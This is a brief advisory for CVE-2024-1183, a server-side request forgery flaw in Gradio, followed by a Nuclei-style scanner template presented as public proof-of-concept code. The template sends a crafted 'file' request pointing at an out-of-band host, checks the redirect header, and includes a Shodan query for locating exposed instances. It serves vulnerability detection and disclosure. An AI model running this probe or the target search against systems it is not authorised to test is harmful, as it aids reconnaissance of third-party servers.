An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.
PoC代码[已公开]
id: CVE-2024-1183
info:
name: Gradio - Server Side Request Forgery
author: DhiyaneshDK
severity: medium
description: |
An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.
reference:
- https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4
- https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2024-1183
cwe-id: CWE-601
epss-score: 0.65669
epss-percentile: 0.98453
cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: html:"__gradio_mode__"
product: gradio
vendor: gradio_project
tags: cve,cve2024,ssrf,oast,gradio
http:
- raw:
- |
GET /file=http://oast.pro HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
part: header
# digest: 4a0a00473045022100ed1ba4f0d31c17b38789e86ea5a3cefca83f76d4824d75437754a80be2843e4e02201ba4b469d053eeeff8ac746a5cc634212e672dd46a73ad21f5ade6eed9f034d5:922c64590222798bb761d5b6d8e72950